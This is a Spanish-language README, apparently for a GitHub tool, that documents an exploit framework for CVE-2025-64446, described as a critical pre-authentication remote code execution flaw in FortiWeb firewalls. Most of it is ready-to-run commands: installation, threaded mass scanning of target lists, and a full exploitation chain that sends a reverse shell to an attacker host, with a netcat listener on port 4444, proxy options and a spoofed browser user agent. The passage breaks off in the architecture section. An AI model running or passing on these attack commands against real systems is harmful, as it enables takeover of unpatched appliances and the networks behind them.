
Herramienta de investigación de seguridad para la vulnerabilidad CVE-2025-64446 de FortiWeb. Marco de explotación automatizado con registro avanzado, métricas en tiempo real, depuración de proxy e informes profesionales. Incluye lógica de reintento, multiproceso y ajustes configurables. Solo para pruebas de seguridad autorizadas. CVSS 9.8 Crítico.
Marco profesional de investigación de seguridad y evaluación de vulnerabilidades
Instalación · Inicio rápido · Uso · Arquitectura · Referencia de CLI · Aviso legal
FortiWeb Research Tool es un marco de evaluación en Python para la detección y análisis autorizados de CVE-2025-64446, un problema crítico de ejecución remota de código sin autenticación previa que afecta a los dispositivos FortiWeb Web Application Firewall.
| Atributo | Detalle |
|---|---|
| Autor | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Crítico) |
| Clase | Omisión de autenticación + path traversal → subida arbitraria de archivos → RCE |
| Afectados | Versiones anteriores a 7.6.7 / 7.8.7 / 8.0.2 (verifique según el aviso oficial) |
| Mitigación | Actualizar a una versión de FortiWeb parcheada |
| Lenguaje | Python 3.7+ |
| Punto de entrada | exploit.py |
| Modo | Opción(es) | Propósito |
|---|---|---|
| Detección | --detect-only | Indicadores de vulnerabilidad sin explotación |
| Seguro / solo lectura | --safe-mode | Omitir pasos de explotación que modifican el estado |
| Escaneo masivo | --targets + --scan-mode | Evaluación paralela de múltiples objetivos |
| Explotación | --target + --lhost | Cadena controlada solo en laboratorios autorizados |
| Ejecución en seco | --dry-run | Ejecutar el flujo sin aplicar cambios |
| Informes | --output-dir | Informes de la evaluación en JSON + HTML |
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2025-64446 |
| Puntuación CVSS | 9.8 (Crítico) |
| Impacto | Compromiso total del sistema cuando se explota con éxito |
| Corrección | Actualizar a 7.6.7, 7.8.7, 8.0.2 o posterior |
Confirme siempre las versiones afectadas/corregidas contra el PSIRT de Fortinet antes de definir el alcance de la evaluación.
| Uso | Resultados del escaneo |
|---|---|
![]() | ![]() |
| Salida HTML |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Paquete | Función |
|---|---|
requests, urllib3 | Cliente HTTP |
rich, colorama, tqdm | Interfaz de terminal y progreso |
pyyaml | Carga de config.yaml |
Opcionales (desarrollo): pytest, black, flake8, mypy, python-dotenv — consulte requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Nota: El modo de explotación requiere
--lhost. Use--detect-onlyo--safe-modecuando no tenga intención de ejecutar la cadena completa.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
La detección evalúa la accesibilidad, las pistas de versión, la exposición de la API, los indicadores de path traversal, las señales de omisión de autenticación y la accesibilidad del endpoint de subida. El riesgo se clasifica como Crítico / Alto / Medio / Bajo a partir de esos indicadores.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager ejecuta los workers de FortiWebScanner mediante un pool de hilos, imprime una tabla resumen de Rich y escribe scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
Las opciones de CLI sobrescriben los valores cargados desde YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Componente | Responsabilidad |
|---|---|
FortiWebScanner | Comprobaciones de accesibilidad, versión e indicadores CVE |
ScannerManager | Escaneos paralelos, resúmenes JSON/HTML, tabla resumen |
FortiWebExploit | Sesión basada en configuración, reintentos, métricas, informes y ruta de explotación opcional |
LogManager | Registro estructurado en archivos y consola con colores |
Flujo general para un solo objetivo: